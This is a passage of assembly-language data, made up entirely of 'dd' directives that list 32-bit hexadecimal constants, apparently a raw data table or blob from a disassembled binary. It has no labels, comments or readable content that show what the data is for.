dd 8E1FA098h, 0E3F00E7h, 0BE3FD1CDh, 3A1758DEh, 2E00F2EFh
dd 0C74B2F79h, 28D21170h, 0EC19EEh, 49BD5945h, 0ACA7A9Bh
dd 0DF13D309h, 251C601Eh, 1FEB00C3h, 8028F50Bh, 6D16A123h
dd 8E0091DBh, 0B72A255Dh, 0B4DA00AFh, 84B03059h, 0BA1DBC31h
dd 684051D1h, 8CEDC28Ah, 73C57B79h, 90524950h, 1CEE7400h
dd 7303A7D6h, 2DE2F300h, 80F56D45h, 0A5FB0192h, 3FE1D7F1h
dd 546C03h, 8D0EE310h, 93F489h, 0A645574Dh, 0DDDAF374h
dd 94248578h, 0B580B40Eh, 44D135B0h, 43B0907Ah, 0A2CB1DA3h
dd 3E1F6D87h, 0DFA80088h, 18BDFC85h, 1305504h, 0DC98637Dh
dd 0F01300B8h, 0C48B3F0Bh, 0FC025DA8h, 0F51B8545h, 0E047C391h
dd 103D8CEh, 0E2724FFBh, 0F86ED214h, 9400A7FAh, 9C89A181h
dd 3DB65ECFh, 4B3A3B8Bh, 9DB04387h, 27DC0B9h, 0FD16D142h
dd 3C406C2Eh, 0DD309479h, 1059006h, 46CA1705h, 0C49F9E4Ah
dd 7207E76Fh, 0BF18ABC1h, 57637830h, 0C425828h, 8C9ACA02h
dd 0D4C8FACFh, 0A80E3F2Dh, 0DCF42884h, 49420D03h, 8FC8006Ch
dd 9A92993Ch, 0A3BFAD7h, 515D80A0h, 24AA4068h, 0A7252E2Ah
dd 0CCBE05C8h, 9BC84074h, 6C974A6Ah, 2BE26300h, 30B60F4h
dd 417600F1h, 242AF28h, 0B200E98Ah, 0B0E11B13h, 3836B4DBh
dd 0B10BAC75h
dd 0D100405Fh, 51F61E29h, 210A2500h, 6059A4B6h, 4D0607A5h
dd 2093AC05h, 0D27BB75Ch, 80667F3Ah, 44AB819h, 1B9CB8Fh
dd 7EC9A64Fh, 0E0CE9F7Bh, 9170BE77h, 9607C7F6h, 0CCB5BFB2h
dd 85A8BCD0h, 1EAA00C3h, 406D012Ch, 9A00FCF6h, 42C1FAE5h
dd 8F2886h, 0DA1DFBE0h, 121697AFh, 803F47Ah, 83092A80h
dd 0D2B080F3h, 2B40002Eh, 653C68C8h, 51F2B9BDh, 4C0360FAh
dd 9E05C1C7h, 0EDB6D837h, 4DF700CDh, 55CCCBAEh, 8800856Eh
dd 59C7167Ah, 3EA32369h, 0EBBAF2C4h, 0EC67216h, 0EC401A20h
dd 15C0DF99h, 6EBD7900h, 96A52DA9h, 28B1005Ah, 0DC1FAD6Ah
dd 0ABFA68B4h, 0B8F64B00h, 4F8EB95h, 596F0063h, 40CE1341h
dd 7907B67Dh, 1C8AF41Bh, 0C507D550h, 0BEBC0765h, 418EE0h
dd 5444B63Ah, 0EF23810Eh, 0D8778053h, 7DD9E37h, 0D3DAF4BDh
dd 6D0BD045h, 4E00D9EDh, 1E839AA6h, 7516F8h, 0E966CE64h
dd 5BE62B5Ah, 0ACD2C601h, 96BE0723h, 0E3AAAC0h, 41127391h
dd 866F5AA0h, 9BFCE7ABh, 0A52182C7h, 0F75DED00h, 9DE0260Fh
dd 720009Eh, 1C23B6D5h, 0DBF4BA7Bh, 0EAC9BE03h, 0B03FE547h
dd 26F3D8h, 7D83198Ch, 0A9E8891Ch, 63755E1Bh, 0DE74F1h
dd 0E556EA59h, 0A2395360h, 2FE26102h, 8EF5B596h, 0C2E9849Ch
dd 604225C2h, 1C5A73CAh, 56557530h, 814000C7h, 0C1D91734h
dd 0F074CA30h, 43F332FEh, 87623994h, 175D0E66h, 0E4C8C5F0h
dd 0DFD702F0h, 59425558h, 465380A0h, 0D824D9ABh, 0E307848Dh
dd 44E0A752h, 1E48E686h, 0C1DEEE4Fh, 2274810Bh, 0C4E5EC6Fh
dd 0F4E77701h, 14501B01h, 21C9CCh, 4E555CC8h, 2A571DE6h
dd 0CD3FF4F2h, 978380D2h, 7C5DE58Ah, 4E8800BFh, 42FA3307h
dd 190F1C8Bh, 23F78E14h, 0C02741FCh, 1C893F4Ch, 80D0113Ah
dd 0FF16E4F6h, 6100F9E0h, 0D5E27041h, 1E3B6D1Bh, 0CF216439h
dd 5F273566h, 0C01474B1h, 84EF96FAh, 0C76E1700h, 66F7876Fh
dd 1F4C7997h, 7B01B736h, 150B6658h, 93FC8144h, 0F8865700h
dd 0FA4CB76h, 9342729Dh, 2E8A45CFh, 123147C4h, 0C890BAC3h
dd 6F00808Bh, 0B2EE6ABBh, 1F9C97h, 9399FB96h, 3CCD9A7Dh
dd 0FF7E3Ch, 0A60D1115h, 791AA0Bh, 21BD090h, 0F2E1001Ch
dd 88A0713Eh, 0A0E89237h, 70D6CA0Eh, 82E7A764h, 5E14E47h
dd 6E60662Dh, 40770004h, 36299A6Bh, 130485DAh, 66A579B7h
dd 0BB61BBC0h, 1CC7001Dh, 0FC164547h, 9E1DB1DDh, 0E7C02997h
dd 0D903824Fh, 8F1C0788h, 1E5BE56Bh, 4C5AB281h, 3363E060h
dd 8501A0E2h, 9F4A19E8h, 0A6306F56h, 0E2A53AC9h, 0A0CCB700h
dd 98936084h, 78858930h, 0E0C82A22h, 1DFD040Fh, 0D026107Ah
dd 45253A60h, 0A2FA10Ch, 3BC82Ch, 39BA7B1Eh, 68880662h
dd 8D00C57Bh, 0F5FF779h, 3D3A0342h, 64002D18h, 46F2C206h
dd 970087FAh, 3E51AEDAh, 7B89C8h, 8D26F7A0h, 0D72FD34Dh
dd 0B337B4C0h, 0A4C35BDh, 27F47348h, 92CA009Dh, 0C1E3DC79h
dd 9E117D03h, 0E0B63DC6h, 1DE161B5h, 0FD69DC8h, 1100A584h
dd 42608B62h, 0DBA8B007h, 4F206487h, 156B12h, 79B58AC3h
dd 39FFF621h, 90CC6002h, 0E0B3FEE9h, 0F42EC5Fh, 0D74C6BF3h
dd 120FEF60h, 0BD00C6F2h, 0A6AC1557h, 2420D5E4h, 10362Dh
dd 0E9C5FA9Fh, 927E4F45h, 180E5000h, 0E2D80B98h, 0C9C00081h
dd 9785C7BCh, 149807ABh, 29005F7Ah, 0B4B6FA5Dh, 0A403E9h
dd 0A6F9EFADh, 0FEA7E1DCh, 4952D900h, 4CB4D7A1h, 0BBD500ABh
dd 101EA851h, 0EF00A79Ch, 0CD38E3FFh, 962106h, 0B81FC2C8h
dd 0B0EC63BCh, 0A119F300h, 17CD10DAh, 0AC850348h, 0F00657B6h
dd 76AB608Fh, 0D4055E7Eh, 0CF5B0FE5h, 4C508D80h, 427289h
dd 670DB0EEh, 0E51BD1Ah, 473FC200h, 998B8A8Dh, 0D9211FD8h
dd 0D340C0DDh, 5AEA139h, 78000FF4h, 0EC83F88Bh, 0ED1FCDh
dd 0D457489Bh, 561524E2h, 4AA0D90Fh, 4E9E4062h, 3E72DCFFh
dd 0FE0097DBh, 3AD6EBA3h, 20399F9Ch, 8D9281D3h, 0FCD9618h
dd 10868CCh, 7DE0034Eh, 0C0B8D0F8h, 0C700C367h, 23BEE42Fh
dd 7D7157FEh, 0A5A30035h, 0E60A3933h, 0C0A0FBFCh, 7F3A31EBh
dd 0EA340044h, 86E13A1Dh, 0FF3F0055h, 0D136AE70h, 0F400A06Eh
dd 92759A38h, 797799E2h, 7A97008Ch, 0AE0E98Dh, 0B104E6DAh
dd 0DB7D1ABDh, 0EA8AD600h, 1E00FF71h, 5D693087h, 1C0D54BBh
dd 80F0FDE7h, 84526BF2h, 0A000B6E1h, 0AC3F5D15h, 7DEB11Fh
dd 727DC859h, 0EE2D7EDh, 4A33B461h, 30E980D9h, 915088FBh
dd 5525009Ch, 0B072ECC6h, 1401D694h, 3EDF4D7Ch, 48D4B966h
dd 0F46C079Bh, 13A85F4Ah, 0B590D82Fh, 0F07A513Bh, 95544600h
dd 0D3B7AE12h, 80F242Dh, 40411E5Eh, 61586F7Eh, 0E4003003h
dd 0B7B1399Eh, 1D2F8528h, 8016D253h, 0CFDFF371h, 9E00625Ch
dd 33A201E4h, 542B0F26h, 87B439h, 0DF4A549Bh, 0CE415B80h
dd 0EF87E00h, 0C42BBE5h, 0A722002Bh, 938130D9h, 2D00F7F6h
dd 20CE092Eh, 0F0CB085Ch, 100F6359h, 94916236h, 0D2B4407Ch
dd 33006FEEh, 0D14137F6h, 16A02423h, 3D0476h, 0F77BF195h
dd 6E1DD0AEh, 0C500DCBCh, 0ABF19F4h, 4E77B3h, 0FCF0E0C9h
dd 9CD35968h, 8055283Bh, 0A1AF3931h, 384E219h, 8236ACD1h
dd 4CA35021h, 3C52D0B8h, 4FDD9100h, 0E0F9E275h, 1DB1207h
dd 30C009Ah, 0AD68CFCCh, 0E25C4B0Fh, 60417FB3h, 4E963746h
dd 0ABDC80DAh, 0F2833A4Dh, 0A0AF0476h, 0C7750B32h, 151DA0FCh
dd 58001C20h, 4CA319ABh, 4DC1F0h, 0C9A46F4Eh, 0B3DDE52Ah
dd 66947300h, 22D46C76h, 0DAB603BCh, 97B9D920h, 0F108C4C8h
dd 500CE7Ah, 77116A90h, 503A1F87h, 4A9838h, 6931C133h
dd 0DF21AB74h, 29DA0D00h, 30729379h, 1B4B004Fh, 69F57C28h
dd 0B100B8D5h, 80063F6Ah, 5BA784h, 89C2D12Bh, 0BABDCB49h
dd 0A421C560h, 78FECAE5h, 0FCD60034h, 3C11A032h, 0BD0002EAh
dd 90557FF1h, 46D7DE6h, 0B8A3BBC2h, 98480A5h, 0BD395F3Eh
dd 0C1AF1D73h, 1A447583h, 981BD039h, 71030185h, 45B9588h
dd 4AD0807Ah, 0BCD146F3h, 0E1150241h, 5D3BF206h, 0C0BFBC41h
dd 62E2717Ch, 2D6C10C0h, 3968D61h, 0D537416Ah, 0A1C0356Dh
dd 0E0086BEh, 0EA7EAA02h, 9FA408h, 0E9C1520Dh, 7A12604Ah
dd 0BFBB1700h, 22B543BCh, 2780047h, 31189B0Fh, 5400AA5Dh
dd 5DB8A06h, 3FD13723h, 50805527h, 665F651Ch, 0A43B4917h
dd 210270CBh, 0E891D248h, 0C3A068CEh, 2FA900C2h, 5E51EBF4h
dd 7E00DBB3h, 8E8D45A2h, 9374F9Ch, 0A9C7E617h, 85BF0780h
dd 0CC603FA5h, 0F1DA2A51h, 0FB7E075Bh, 80FE0BB2h, 4216B9DBh
dd 7FC0C403h, 80A61E2Fh, 7ADF237Bh, 539B0005h, 0B51203B6h
dd 55003A47h, 3E79C246h, 0B801DF0h, 86F1BB6Ch, 9D408A00h
dd 7F00D86Dh, 1E30CF89h, 52414Bh, 84BA28DBh, 4FE895FEh
dd 0E4CB5A13h, 0EB627C40h, 244408F5h, 255E8Dh, 76588814h
dd 5D056AADh, 35EA2A91h, 805F3A82h, 0F8CED1CAh, 20AE62D4h
dd 346822E9h, 6200AC09h, 421CC33Dh, 0B3DA94h, 192CFBDEh
dd 2D6A8DC1h, 0C740B560h, 1EC064Eh, 0B1943F53h, 801B3823h
dd 3D083B91h, 0C817C26h, 4DC9EDF4h, 0FE60C718h, 71DC2C56h
dd 0C6A307AAh, 0B0DAE025h, 0A05C276Dh, 6E14B200h, 987AEA69h
dd 0C425028Dh, 86A57B87h, 6AB968E3h, 286FD87Fh, 0D89BAA09h
dd 780FD11h, 0C7B825E5h, 0DD6E2603h, 0A86133F7h, 0F2D4F0C9h
dd 0F1CC00A5h, 0EE580640h
dd 0B900EF2Eh, 33FB4590h, 1B81E12h, 0AFE4E96Ah, 20E3A1F5h
dd 56003FFCh, 0FFFC22EDh, 741C398h, 5B286E69h, 0BA9E214Eh
dd 72386052h, 959AA600h, 0A908CDBBh, 30D203A3h, 6481AC55h
dd 7801C3CBh, 0C48AF8E3h, 94504A32h, 71C81A35h, 0CD8E3F1Eh
dd 0CF3DF382h, 48906AACh, 2CE02E3Fh, 31AD3618h, 44CD38h
dd 9DFDDC7Bh, 0D70AF391h, 0B0E16701h, 0FF57393Ch, 50287082h
dd 0B8807FF0h, 8E73970Dh, 0B59E4A05h, 0A0098F68h, 25C4805Bh
dd 6DE5A2h, 81E10C0Bh, 0BB75EEC8h, 1E52DC13h, 2A237A00h
dd 248A94B5h, 0B8F6B7h, 0FACD0D70h, 7B73035Dh, 5C98EC00h
dd 211A41DDh, 2CDB000Eh, 0F43C0164h, 55038FD7h, 4977B09Eh
dd 65D5F8A6h, 80980073h, 37484C83h, 0D800AB46h, 0BCD9B46Bh
dd 24C99E29h, 1240EAFEh, 84E1A73h, 0A05B0082h, 0D9479048h
dd 0B7C5F5Ch, 89537Bh, 0BBD802Ch, 43F70ECBh, 0B3A0E6C6h
dd 0E73A7AD8h, 0B9002FE4h, 961D800Ah, 58E1584h, 0B86BF436h
dd 0E750C0F3h, 200B4EEh, 19620B29h, 7C4F64h, 2B03F0AAh
dd 0CAACF14Ah, 65002FFEh, 0FE96C13Bh, 0B8082241h, 1C9024F1h
dd 0BC1E80F0h, 0A9532D36h, 222CF905h, 0FAC0E2AEh, 74AA237h
dd 9DB62EB2h, 0AC0E4088h, 711C764Dh, 590399B7h, 0D821503Dh
dd 9132E0h, 0F2E996A4h, 9DC52D98h, 6B84BC50h, 0D40CC600h
dd 63A8FDE4h, 0CE3700CAh, 904C3478h, 0E812D18Ah, 3440E0FBh
dd 65A8ABC6h, 788E3C18h, 958CB780h, 0EAEDCCFBh, 80601239h
dd 70DF0DCEh, 3B1025Eh, 0CF36E6D6h, 97E80656h, 9F002A9Eh
dd 0A9AED8ACh, 98C3843Bh, 52BC1360h, 64144040h, 0F5314FEAh
dd 4A17CF08h, 53CC0035h, 63EC6F08h, 6273D8FDh, 9261CF3Fh
dd 5400F25Ch, 14E7DE68h, 76CC7ABBh, 1A82187Ah, 0B1F2E8B8h
dd 0D8A0089Ah, 2A5D842Fh, 273E44h, 5C4D22C2h, 0FAC5C9A8h
dd 7550C0F6h, 80C69B46h, 84A41609h, 27C0201Ch, 2CB319Dh
dd 3BCCA3ACh, 48E22FE2h, 0EF5B8C80h, 36006028h, 7E5869C3h
dd 260AC05Eh, 8758976Eh, 30D0CAD7h, 0DDDA79F2h, 42008FF8h
dd 5843084Fh, 3C95D84Ch, 2BD87CE2h, 0A8446006h, 300782Dh
dd 0CE2A29DEh, 0EA3FC95h, 38F7FED7h, 6AEF21B8h, 37E13503h
dd 0ABFBA73Ah, 1EF0E0C4h, 0EE870739h, 0B08B749Bh, 0B93D3676h
dd 21042C00h, 6C03110Dh, 688C5C5Bh, 1816CE00h, 0A0B21E92h
dd 157C81Dh, 843D72C0h, 0A59704Fh, 0B99866BEh, 0C7C500ACh
dd 0CFD61B07h, 1D75D913h, 30626C42h, 1C5064E0h, 84A84948h
dd 80B35C94h, 3385F1B0h, 8DDB670Fh, 4C50C5F5h, 0F2BDACC0h
dd 0D46F04E7h, 828656CBh, 98C079EEh, 530E3EC6h, 0A1906276h
dd 9A9F8DBDh, 7871820h, 0E93DB718h, 0AA5A0210h, 828CC90h
dd 66696705h, 0F841051Ah, 0A8F6701Fh, 545C34h, 0CB7D1579h
dd 0FE27DA81h, 94B17200h, 5DBE8BFAh, 0A5710061h, 25B8AEFDh
dd 730301F9h, 0E431B2Dh, 0BC0AE53Dh, 0A00F771h, 952FF186h
dd 0DA963E3Bh, 51F52680h, 38DE8CA7h, 2916F3Eh, 807D5968h
dd 78CAE0F8h, 331300D1h, 0AAE4D0F2h, 0D4B001BEh, 98A07205h
dd 30C2AF68h, 65DA40C3h, 0ADE800F9h, 0FD0B4D89h, 68583274h
dd 0A1DD00D6h, 0B7DAA8EFh, 1359001Ah, 495011E5h, 0BA1FA064h
dd 0EB00D919h, 28FA882Bh, 0D4620EC8h, 5301524Eh, 0F44B718Dh
dd 20F6F35h, 5820E687h, 0B0A8121h, 9BC2B315h, 1DCB4900h
dd 0C6001B05h, 79182710h, 913685Bh, 857B3243h, 7A55AC80h
dd 0AF72DBF4h, 5E128703h, 90638C78h, 185B5FC2h, 10542A90h
dd 84009AC7h, 512D29A1h, 24B1B9h, 25B2AE4Eh, 9EAD9D55h
dd 85E3EF00h, 62F4446Ah, 9CE0B8h, 1ECDA58Eh, 25DEAFA4h
dd 0A2D3B203h, 0E879F170h, 782CD94Bh, 4DAA00F9h, 1D1F02Eh
dd 461E9299h, 0AB83448Eh, 0A74285h, 543DBA67h, 8A18280Ch
dd 76095900h, 388199Ah, 0C4210001h, 0CDED10ECh, 0EF001882h
dd 0DCE99DF4h, 149BC0Bh, 6665286Dh, 3475A7BBh, 7C9A2160h
dd 26C39A3Bh, 0BE876074h, 2EE0124Fh, 2E1D3713h, 0D35FF9h
dd 20999306h, 0F760EA04h, 62B64310h, 8275B5h, 0CF260FD1h
dd 0CA941519h, 0EF1E48h, 4107E3EAh, 23B2ED3h, 0CF70DAC8h
dd 0F8429EEEh, 0E3685040h, 25803Fh, 41C0DDD0h, 5C650AFEh
dd 77B588h, 31F9D68Ch, 39456614h, 36E0C0Eh, 627F80D8h
dd 48A09138h, 6802D8E2h, 561196FAh, 0CA659CE8h, 7F0BEB1Ch
dd 6E42BEC0h, 3A1383C8h, 3F83D257h, 7807A9Bh, 348D97C0h
dd 79ECF158h, 94C3C900h, 95C4FE81h, 0BDAD0184h, 56335FCEh
dd 0F2F04064h, 9D00B1A9h, 0F068778Eh, 48BA7h, 4CA19F1Ch
dd 0CA352D4Dh, 762E1000h, 94081E6Dh, 0F4470054h, 0B005B5E8h
dd 1C075DEBh, 5A55D475h, 13494FF0h, 3BAA008Ch, 81D24B93h
dd 910047AEh, 8E5D6AB9h, 2432DC9Bh, 0BC288Bh, 0F2E4EBEEh
dd 82006B96h, 1C5B7368h, 22775Ch, 0AB8E946Fh, 28D9DFFAh
dd 0DDE6D507h, 0E4FE292Bh, 60C082D0h, 6A5C96h, 0BAC7B8A2h
dd 5A938809h, 26703Eh, 2817D19h, 13C272D8h, 0F0FF11h, 0AAA8516Bh
dd 6B008D89h, 2E35F64Eh, 92E5F24Ch, 50520E28h, 8B815461h
dd 0E04D5364h, 0CCA08DA9h, 44079AFBh, 4E85B220h, 25BAB470h
dd 0AFD5E95Fh, 926430h, 95042DD8h, 786DF8C3h, 0EA02B5EAh
dd 3F304845h, 9145974h, 0C580859Ch, 5AF71BB6h, 0D2F1332Ch
dd 0A753800h, 397EEE9h, 96193631h, 0F0A33508h, 0BDA43398h
dd 7FCA9B0Fh, 8BC08029h, 502F3DA8h, 0F6BECC8h, 0C743F2D1h
dd 48768A0h, 0A603E31Bh, 64C81F9Bh, 0A58590ABh, 0C92C0065h
dd 9D4B157Dh, 9B006F76h, 0F1B9B73Bh, 0EE7126h, 0F7CCF6C2h
dd 747759C9h, 9C977C3Eh, 0F56632A1h, 10992B0Ch, 0EEB500E3h
dd 9FA31F13h, 0E900111Bh, 39FBC170h, 0A1EAB4h, 812CBD0h
dd 92DDDE10h, 437CA40Eh, 0C7D640D7h, 0FA477542h, 25F70013h
dd 0AA5240A1h, 0F036420h, 12BCC9D4h, 57F5A80Bh, 893B007Bh
dd 468B397h, 0A22532F2h, 6D3800E0h, 7141ECFCh, 4F4928F9h
dd 608E00E4h, 3855B53h, 5412D8C6h, 0A40380EFh, 0F83CFAFDh
dd 303A5823h, 0B1B80DBEh, 0ACB85A08h, 8045FE3Ch, 4E3E1853h
dd 0FAA00F98h, 0E4202C49h, 0E060000h, 0A307F2F0h, 0BE0051F8h
dd 8695058Bh, 3F0ACBCFh, 8F00EE7Eh, 7B0443A7h, 54251BE9h
dd 3E8801B4h, 0B980EE84h, 0EF941614h, 953AB720h, 332E0F1Ah
dd 0CA213BC9h, 301C8025h, 0F6C842h, 4CB9F7Bh, 4AE7BCE0h
dd 1CF3CE00h, 296CF795h, 82730074h, 0A2775DE3h, 0A51EE07Ch
dd 5707C73Bh, 24F172A6h, 4887FEF5h, 26FA4E35h, 460760ABh
dd 0B463CBA7h, 905EB40h, 15EE0082h, 1ADCA9DFh, 609FA6C0h
dd 75290AB8h, 0C8F73887h, 0EFCA1FF7h, 3A5B4035h, 2A83D9DCh
dd 0DB7A2C0Ch, 2C89DAF8h, 6B51E0h, 9EFB4516h, 0E100C791h
dd 7D2284ACh, 3E373E94h, 90B8C8Ah, 3687670Ah, 0DBC7C38Bh
dd 216C22A1h, 0CA2085D2h, 48D789E1h, 0F549091h, 2E30C6E7h
dd 0BE7D18h, 3ADB608Ch, 88F996B1h, 1FABFF41h, 71EDECFh
dd 80A2A074h, 0B1F92763h, 2A5C7380h, 7BB8BC06h, 0B6DEE3Ch
dd 8EC289B5h, 0B4EBC4A4h, 85601B6Ch, 0B63C2289h, 450C0A1h
dd 0BADEA619h, 3AD19260h, 0A89BC40h, 3227888Bh, 5FD0020h
dd 7BDF6EFh, 6000A04Eh, 0A49D1C17h, 6D25036Eh, 8A552C94h
dd 910ED6E0h, 33574B3Dh, 3756009h, 0D36D02C1h, 0A9902927h
dd 0AC3F0451h
dd 7E79809Eh, 412265B7h, 0E2960050h, 2C8C06FCh, 7D00ED5Ah
dd 8BA1CD73h, 0FEF6620h, 9FA6F668h, 0CFCE7C87h, 0FEA23040h
dd 0EC00EEFCh, 53E0F931h, 17AE33h, 8250A976h, 3DB16CA4h
dd 249D100h, 9557D90h, 80E80372h, 2A4D8B7Ch, 0BF978400h
dd 9585AE4Fh, 54EE0046h, 0CBBADF73h, 0F901BB9Eh, 6F9C288Eh
dd 0C431679Ah, 8869009h, 10B69DC2h, 5E50B27Dh, 0D2006480h
dd 0B6828E5h, 0A0B0C790h, 6A0F0D0h, 0FFFB2C8Dh, 0BE22295Dh
dd 0D5ED10E4h, 103C21B7h, 43DA88A6h, 51229921h, 0BE703ED8h
dd 61679E8Bh, 6F0480FDh, 3D88F31Ch, 0BD01165Dh, 0BB7A645Fh
dd 1153D4B6h, 148DE4EFh, 8C5D6E02h, 0C8466059h, 1765728h
dd 5C4F0EAh, 0C0104E21h, 0F1C5976Eh, 3081425Bh, 0FAD03D9Ah
dd 6FA50736h, 40C757A6h, 0E3E577F4h, 0C00CEFAh, 7CDA01Ch
dd 0D9CC38h, 643913Ah, 8DB0EF4Eh, 0AEE1F801h, 73E5AA20h
dd 3D3CC0C6h, 0FC4B10h, 0BD3F08ACh, 310F186Fh, 0A571EF91h
dd 0D4C16223h, 2BD0B057h, 1DA3007Fh, 0A5539428h, 4C00773Eh
dd 0AEDD0248h, 681F5C4h, 2138333Fh, 7600C0BEh, 710C89B9h
dd 3EDD5717h, 0E700ED1Dh, 0C97E3F3Ch, 0D013FC56h, 0B5007A9Dh
dd 9B36B986h, 2FDD1DBCh, 76D8CC0Fh, 0E012CD80h, 70A08EB6h
dd 0FA3A1843h, 0ED6C2E71h, 0FB47911Ch, 315D3280h, 1861E887h
dd 4294AD7Ch, 0C501733Eh, 0AAA914D0h, 5870F582h, 0EDF87Fh
dd 0D5845074h, 0B2EAC75h, 5AB4431Eh, 0ED3F5C1h, 0C0CC783Eh
dd 7D70AAh, 61A204CCh, 0AD717782h, 796A5B00h, 72835712h
dd 58FE70h, 55448AF4h, 2140A4B1h, 0C5C43713h, 0FC2EDC41h
dd 0FFC31C6h, 0A4383F96h, 9D29CF87h, 872690C5h, 180021C7h
dd 6D71F689h, 0B0B8CB69h, 67290057h, 0C0DBF46Eh, 6202177Ah
dd 0F6DC3430h, 0A424E03Bh, 14354802h, 4EBEA882h, 8B000470h
dd 0AB015ADh, 10D5DFBh, 0B298BC93h, 0E2FAE57Fh, 590F5860h
dd 0EC01E5Ch, 40554E1Dh, 0D3860104h, 1391032Bh, 1142B9ACh
dd 0FE0BC0C8h, 30F4D21Eh, 630FED80h, 3D40C6DBh, 0C100EACFh
dd 0CA712A8Eh, 2E007CD6h, 0FFDE789Fh, 0E16E99h, 673E2864h
dd 0E587611Ah, 38257200h, 413A2962h, 121EE6BBh, 0D44EC2EDh
dd 39B000B4h, 0F932BE2Eh, 3C3A7B00h, 0F19F373Dh, 0A8F47Eh
dd 8EA415CEh, 0B1A11E21h, 0A232400h, 229252FEh, 5C500F1h
dd 2BC691BCh, 2859664Eh, 9ED3009Ch, 0C1D4FF08h, 0A00A4811h
dd 69840E3Dh, 80C0B6BCh, 0FCB0460h, 0B0FF9500h, 0E201C4F2h
dd 0CE78F4h, 68FB39EDh, 0F7BE44EBh, 0D54BD609h, 2EE000C2h
dd 1E1FDAAFh, 80F3FE6Ch, 0C1E0AE4Ch, 400188BAh, 272202D3h
dd 84E86F66h, 0DD2609A7h, 6C054F13h, 7374C741h, 46C8899Fh
dd 439D308h, 49FA00F9h, 288612Fh, 70931283h, 67B3004Ch
dd 5BECE53Dh, 6A1DEE00h, 692E7803h, 0EA922D5Ah, 7C00E0D0h
dd 77F1306Fh, 39B4678Bh, 8C80070Fh, 7DAF5245h, 0CF00D2F8h
dd 0C7447BEh, 0B394ACh, 0A72C4604h, 1786A82Dh, 9C89FC28h
dd 830036E2h, 7E30EF18h, 0EE9E13h, 0EBF31EEAh, 0DD396274h
dd 43EC9A01h, 9401963Ch, 0D8F070h, 0DFCBD2E1h, 6CCD7DAh
dd 0B625E0F7h, 0BD9ACE14h, 9EC2049Ch, 5A7066BEh, 3300C9E2h
dd 374952D8h, 5DB5D4h, 0B6B3415h, 10D7D1ABh, 1EB8D25Fh
dd 0F040C20Fh, 2DDC2BEh, 0BC409B7Ch, 1800EC98h, 0FDFE81E4h
dd 26F3CBE8h, 78F041h, 583C175h, 0D60A2CA0h, 0ABF793A3h
dd 61022F07h, 7AE89050h, 0C87201h, 35B8D18Dh, 150A837Fh
dd 70CAC200h, 0A95A867Bh, 31AEC02h, 79552EFDh, 63B8CB05h
dd 5300B9D4h, 0FB7ABA2Ah, 3BB47Fh, 39E78F8Ch, 0A331A261h
dd 998B9400h, 8D007E8h, 0B3E4001Bh, 2BCBDE0Dh, 4E012589h
dd 35EE43F9h, 8060E1D9h, 0BAA01FFBh, 91198FB2h, 969AFC60h
dd 0E97109D6h, 0F1603B98h, 0CD49C308h, 464D0081h, 0A21F35C7h
dd 16007ED7h, 0AFE5CCA3h, 0BA54F3h, 0DC24C415h, 0D06FAA0h
dd 4A87A09Ch, 0EA0117E0h, 6FEC36AFh, 46F200E4h, 24B82C68h
dd 67B4101h, 77B99700h, 7A27AAB5h, 0B0AC50C3h, 3BF370E2h
dd 87804E72h, 0C8C421EAh, 3F001EB7h, 9EDB6D10h, 1B8D12h
dd 0C94B1ADEh, 0D10C07EBh, 8B4E5F38h, 10C128AEh, 0E7A448h
dd 0C57B9251h, 0B0A37302h, 41A25303h, 0A7D81A28h, 4FBBE300h
dd 0CF950036h, 6FAB2BF9h, 3100AFBFh, 6A8F5BACh, 0F742F9Eh
dd 0A1B50CE7h, 0FDCF1BA0h, 0C2007858h, 0C9DA72FAh, 0F199E4h
dd 16C87015h, 407B4D71h, 0B463C502h, 8026ABDFh, 0C7CBD581h
dd 0EBD1F80h, 0CD92C0E0h, 89693DEAh, 5730FCF4h, 0BCAB384Eh
dd 0C6F20B55h, 4F049DB5h, 8D70C1F7h, 4DCC60FAh, 5E10630Fh
dd 0D090A201h, 0E47824h, 2FBE9689h, 3682DF6Bh, 0B7CC7A02h
dd 70C66337h, 0BCCE3AF8h, 0CFD36B00h, 0C0DF0D30h, 0C700E470h
dd 0D0F23158h, 25C981A2h, 6380D2C3h, 6F4423Ch, 9C641D16h
dd 8DA67CC0h, 83B09C76h, 8889BF4Eh, 0BC4691A0h, 56654F00h
dd 8B18D502h, 5E4A00B1h, 0F043E073h, 19027834h, 0E597CC28h
dd 6867C22Fh, 7462A2E8h, 0AB920066h, 0C99E9B5Fh, 0E000E618h
dd 0FF13821Ah, 60BA37h, 64F4FEA1h, 0D23DD50Ch, 0F759F60Eh
dd 0F25C22CFh, 8E9060CEh, 0F84B58ECh, 67C039C0h, 2005B579h
dd 0B4BF5A58h, 0F76058A5h, 0EE241CE8h, 1F340E75h, 0E00FA37h
dd 0F8D6448Bh, 0B9F498h, 0BB266DCCh, 924217CEh, 0CD455000h
dd 8C6715F9h, 0A79603F8h, 6D5CBD91h, 2033FBA0h, 0FE61F101h
dd 0C5B57AC1h, 0E7004428h, 0C898D6CFh, 0C0A008DCh, 0CC3B01E1h
dd 0AD1A3D8Dh, 8E2E8359h, 0A72DA094h, 3BF37B7Bh, 0A0012673h
dd 9FAC80AFh, 0C0C5E072h, 21963812h, 4E04C416h, 84B9E9C1h
dd 0AE97D900h, 0D32F6A54h, 3F87E500h, 0F1896D19h, 9C55006Eh
dd 0DF33631Bh, 0B100324Ch, 99190F66h, 0BB840h, 8D356C92h
dd 2C58BF47h, 5BB5FA00h, 0B2EC1B48h, 5EC603A8h, 0F2C8D37Ah
dd 9EB9E7C8h, 54824401h, 24A65D60h, 3ED8A864h, 0AD80586Dh
dd 3899930Ah, 3DEED180h, 7FE2E700h, 90EDEC19h, 311F01D4h
dd 426C47EAh, 3684ECE3h, 0A31AE600h, 0A2FD16C6h, 0C30E009Ch
dd 0C808DB47h, 0A100B3C2h, 1875D1D8h, 30ABA87Bh, 0E239149Bh
dd 0B91E0ECFh, 0A3801F71h, 8C476A7Fh, 456C0249h, 0B090DFC2h
dd 0F20F9850h, 0C0304329h, 3B81233Dh, 0FDD62706h, 7D610497h
dd 0D4200673h, 0A9C70115h, 8A531147h, 0B60C24EBh, 0A3A50C9Ch
dd 0A3BF11F8h, 650A044h, 2187632Ah, 14B15D63h, 0F8380Eh
dd 301695BFh, 1EA4CAE3h, 0C77D1591h, 90096651h, 0A231FEEFh
dd 7463CB00h, 22CF4187h, 56EE0E8Fh, 66204016h, 1AD2F0B4h
dd 9008C024h, 0A38A6102h, 66CC70C9h, 90DB4905h, 60035C8Ch
dd 0E90C88A2h, 5E80986Eh, 94760069h, 996B7EB0h, 0F00EA07h
